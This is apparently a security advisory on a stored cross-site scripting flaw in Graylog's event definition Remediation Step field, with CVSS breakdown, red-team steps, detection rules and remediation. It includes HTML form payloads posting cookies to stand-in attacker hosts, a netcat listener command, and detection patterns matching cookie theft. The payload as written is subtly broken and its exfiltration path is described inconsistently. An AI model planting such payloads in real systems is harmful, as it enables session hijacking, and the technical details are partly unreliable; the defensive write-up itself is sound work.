CVE-2025-46827

Executive Summary

CVE-2025-46827 is a stored cross-site scripting (XSS) vulnerability in Graylog, an open-source log management platform. An authenticated attacker with permissions to create event definitions can inject malicious HTML forms into the Remediation Step field. When a user with alert viewing permissions interacts with the form, the attacker can steal their session cookie. The attack requires an active input (e.g., HTTP, TCP raw, syslog) on the Graylog server to receive the exfiltrated data. The vulnerability is fixed in versions 6.0.14, 6.1.10, and 6.2.0. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

Graylog is a Java-based application distributed as a tarball or via Docker. The vulnerability is in the core application code, not in a third-party package. Users should verify the integrity of their Graylog installation by checking checksums provided by the vendor.

CVSS Breakdown & Threat Level

CVSS Score: 8.0 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker needs an account with event definition creation permissions.
• User Interaction (UI): Required – The victim must view the alert containing the malicious form.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Session cookies can be stolen.
• Integrity (I): High – The attacker can potentially modify data using the stolen session.
• Availability (A): High – The attacker could potentially disrupt the service.

Threat Level: High. The attack is relatively easy to execute if the prerequisites are met, and the impact is severe (session hijacking).

Deep Dive & Mechanics

The vulnerability resides in the Event Definition Remediation Step field. Graylog allows users to define remediation steps for alerts, which can include HTML content. The application fails to properly sanitize or escape user-supplied HTML in this field.

Attack Flow:

1. Prerequisites: The attacker must have a user account with permissions to create event definitions. The victim must have permissions to view alerts. An active input (e.g., HTTP input, TCP raw, syslog) must be present on the Graylog server to receive the exfiltrated data.
2. Injection: The attacker creates a new event definition and sets the Remediation Step field to an HTML form that submits data to the attacker-controlled input. For example:

   <form action="http://attacker.com/steal" method="POST">
     <input type="hidden" name="cookie" value="document.cookie">
     <input type="submit" value="Click me">
   </form>
   

3. Trigger: The victim views the alert associated with the event definition. The malicious form is rendered in their browser.
4. Exfiltration: If the victim submits the form (or if the attacker uses JavaScript to auto-submit), the session cookie is sent to the attacker's input.
5. Session Hijacking: The attacker uses the stolen cookie to impersonate the victim.

The vulnerability is a classic stored XSS, but the attack vector is unique because it leverages Graylog's event definition feature.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The Remediation Step field is stored and rendered without sanitization.

// Vulnerable: Directly rendering user input
String remediationStep = eventDefinition.getRemediationStep();
response.getWriter().write(remediationStep);

Patched Code (Conceptual): The Remediation Step field is HTML-encoded before rendering.

// Patched: HTML-encoding user input
String remediationStep = eventDefinition.getRemediationStep();
String safeStep = StringEscapeUtils.escapeHtml4(remediationStep);
response.getWriter().write(safeStep);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Graylog instance (version < 6.0.14, < 6.1.10, or < 6.2.0).
• A user account with permissions to create event definitions.
• An active input (e.g., HTTP input) on the Graylog server.

Steps:

1. Set up a listener: On your attacker machine, set up a netcat listener to receive the exfiltrated cookie.

   nc -lvnp 8080
   

2. Create a malicious event definition:
   • Log in to Graylog with the attacker account.
   • Navigate to Alerts > Event Definitions.
   • Create a new event definition.
   • In the Remediation Step field, inject the following HTML:

     <form action="http://YOUR_ATTACKER_IP:8080/steal" method="POST">
       <input type="hidden" name="cookie" value="document.cookie">
       <input type="submit" value="Click me">
     </form>
     

   • Save the event definition.
3. Trigger the alert: Ensure the event definition's conditions are met so an alert is generated.
4. Wait for victim: When a user with alert viewing permissions views the alert, they will see the form. If they click "Click me", the cookie will be sent to your listener.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor Graylog audit logs for creation or modification of event definitions, especially by non-admin users.
• Look for suspicious HTML content in the Remediation Step field.
• Monitor network traffic for outbound connections from the Graylog server to unknown IPs on unusual ports.

Hunting:

• Search for event definitions containing <form, <input, or document.cookie in the Remediation Step field.
• Review Graylog inputs for unexpected form submissions.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP POST requests from the Graylog server to external IPs containing form data.
• Logs: Graylog audit logs showing creation of event definitions with suspicious Remediation Step content.
• File System: No specific file IOCs.
• Registry: Not applicable.

Detection Engineering

YARA Rule

rule CVE_2025_46827_Graylog_XSS
{
    meta:
        description = "Detects malicious HTML forms in Graylog event definitions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46827"
    strings:
        $form = /<form[^>]*action=["']http[^"']*["'][^>]*>/ nocase
        $input = /<input[^>]*name=["']cookie["'][^>]*>/ nocase
        $submit = /<input[^>]*type=["']submit["'][^>]*>/ nocase
    condition:
        all of them
}

Sigma Rule

title: Graylog Event Definition Remediation Step XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of event definitions with suspicious HTML in Remediation Step
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46827
logsource:
    product: graylog
    service: audit
detection:
    selection:
        EventType: "event_definition_created"
        RemediationStep|contains:
            - "<form"
            - "<input"
            - "document.cookie"
    condition: selection
falsepositives:
    - Legitimate use of HTML in remediation steps (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46827 Graylog XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/steal"; http_uri; content:"cookie="; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Graylog to version 6.0.14, 6.1.10, or 6.2.0 or later.
2. Restrict permissions: Limit the ability to create event definitions to trusted administrators only.
3. Disable unnecessary inputs: Remove or disable any HTTP, TCP raw, or syslog inputs that are not required.

Long-term:

• Implement input validation and output encoding for all user-supplied fields.
• Conduct regular security audits of Graylog configurations.
• Monitor for new CVEs and apply patches promptly.

Workarounds: No known workarounds are available.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert